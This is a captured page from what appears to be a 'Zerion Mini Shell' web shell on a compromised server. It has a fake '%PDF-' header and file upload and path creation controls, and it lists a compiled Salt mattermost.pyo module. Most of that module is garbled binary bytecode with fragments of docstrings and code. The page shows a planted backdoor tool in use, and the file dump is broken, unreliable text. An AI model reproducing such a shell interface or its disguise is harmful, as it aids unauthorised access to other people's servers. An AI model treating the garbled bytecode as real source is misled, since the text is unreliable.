%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/mattermost.pyo

�
���^c@@s�dZddlmZmZddlZddlmZddlZ	ddl
mZddlZ	ddl
mZeje�Zdddd�ZdS(ud
Library for interacting with Mattermost Incoming Webhooks
:configuration: This module can be used by specifying the name of a
    configuration profile in the minion config, minion pillar, or master
    config.
    For example:
    .. code-block:: yaml
        mattermost:
          hook: 3tdgo8restnxiykdx88wqtxryr
          api_url: https://example.com
i(tabsolute_importtunicode_literalsN(turljoin(t__version__(tsixc		C@s^d}idd6td6}t|d�}t|tj|��}tjjj||d|dtdt�}|jd	d�tj
jjjj
kr�d
j|�|d<|S|jd	d�tj
jjjjkr�tStj|�tj|�tj|�d|krF|d}d|kr9|d|d<t|d<|Sd
|d<nd|d<t|d<|S(u3
    Mattermost object method function to construct and execute on the API URL.
    :param api_url:     The Mattermost API URL
    :param hook:        The Mattermost hook.
    :param data:        The data to be sent for POST method.
    :return:            The json response from the API call or False.
    uPOSTuumessageuresu/hooks/tdatatdecodetstatusustatusuMessage posted {0} correctlyudictuerroruMessage not posteduinvalid_authN(tTruet_urljoinRt	text_typetsalttutilsthttptquerytgettNonetexttmovesthttp_clienttOKtformatt
NO_CONTENTtlogtdebugtFalse(	thooktapi_urlRtmethodtrettbase_urlturltresultt_result((s9/usr/lib/python2.7/site-packages/salt/utils/mattermost.pyRs8


	''







(t__doc__t
__future__RRtloggingtsalt.ext.six.moves.urllib.parseRR	tsalt.ext.six.moves.http_clientRtsalt.versionRtsalt.utils.httptsalt.extRt	getLoggert__name__RRR(((s9/usr/lib/python2.7/site-packages/salt/utils/mattermost.pyt<module>s

Zerion Mini Shell 1.0